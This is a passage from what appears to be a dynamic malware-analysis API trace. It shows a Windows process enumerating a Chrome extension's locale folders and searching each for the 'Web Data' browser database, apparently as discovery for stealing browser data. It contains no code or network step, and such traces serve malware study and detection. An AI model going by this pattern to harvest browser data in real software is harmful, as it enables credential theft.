IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.188] lstrlenA (lpString="\\") returned 1 [0056.188] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.188] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.188] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.188] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.188] lstrlenA (lpString="ru") returned 2 [0056.188] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.188] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.188] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="ru" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru" [0056.188] LocalFree (hMem=0x2daca0) returned 0x0 [0056.188] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru") returned 131 [0056.188] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru") returned 131 [0056.188] lstrlenA (lpString="\\*.*") returned 4 [0056.188] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.188] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru" [0056.188] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\*.*" [0056.188] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.188] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.188] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.188] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.188] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.189] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.189] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.189] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.189] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.189] LocalFree (hMem=0x2daca0) returned 0x0 [0056.189] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.189] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.189] lstrcmpiA (lpString1=".", lpString2="sk") returned -1 [0056.190] lstrcmpiA (lpString1="..", lpString2="sk") returned -1 [0056.190] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.190] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.190] lstrlenA (lpString="\\") returned 1 [0056.190] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.190] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.190] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.190] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.190] lstrlenA (lpString="sk") returned 2 [0056.190] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.190] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.190] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="sk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk" [0056.190] LocalFree (hMem=0x2daca0) returned 0x0 [0056.190] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk") returned 131 [0056.190] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk") returned 131 [0056.190] lstrlenA (lpString="\\*.*") returned 4 [0056.190] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.190] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk" [0056.190] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\*.*" [0056.190] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.190] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.190] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.190] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.190] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.190] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.190] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.190] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.190] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.190] LocalFree (hMem=0x2daca0) returned 0x0 [0056.190] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.190] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.190] lstrcmpiA (lpString1=".", lpString2="sl") returned -1 [0056.190] lstrcmpiA (lpString1="..", lpString2="sl") returned -1 [0056.190] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.190] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.190] lstrlenA (lpString="\\") returned 1 [0056.190] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.190] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.190] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.190] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.190] lstrlenA (lpString="sl") returned 2 [0056.190] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.190] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.190] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="sl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl" [0056.190] LocalFree (hMem=0x2daca0) returned 0x0 [0056.190] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl") returned 131 [0056.190] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl") returned 131 [0056.190] lstrlenA (lpString="\\*.*") returned 4 [0056.191] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.191] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl" [0056.191] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\*.*" [0056.191] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.191] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.191] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.191] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.191] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.191] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.191] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.191] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.191] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.191] LocalFree (hMem=0x2daca0) returned 0x0 [0056.191] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.191] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.191] lstrcmpiA (lpString1=".", lpString2="sr") returned -1 [0056.191] lstrcmpiA (lpString1="..", lpString2="sr") returned -1 [0056.191] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.191] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.191] lstrlenA (lpString="\\") returned 1 [0056.191] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.191] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.191] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.191] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.191] lstrlenA (lpString="sr") returned 2 [0056.191] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.191] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.191] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="sr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr" [0056.191] LocalFree (hMem=0x2daca0) returned 0x0 [0056.191] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr") returned 131 [0056.192] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr") returned 131 [0056.192] lstrlenA (lpString="\\*.*") returned 4 [0056.192] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.192] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr" [0056.192] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\*.*" [0056.192] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.192] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.192] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.192] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.192] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.192] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.192] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.192] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.192] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.192] LocalFree (hMem=0x2daca0) returned 0x0 [0056.192] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.192] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.192] lstrcmpiA (lpString1=".", lpString2="sv") returned -1 [0056.192] lstrcmpiA (lpString1="..", lpString2="sv") returned -1 [0056.192] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.192] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.192] lstrlenA (lpString="\\") returned 1 [0056.192] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.192] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.192] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.192] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.192] lstrlenA (lpString="sv") returned 2 [0056.192] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.192] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: 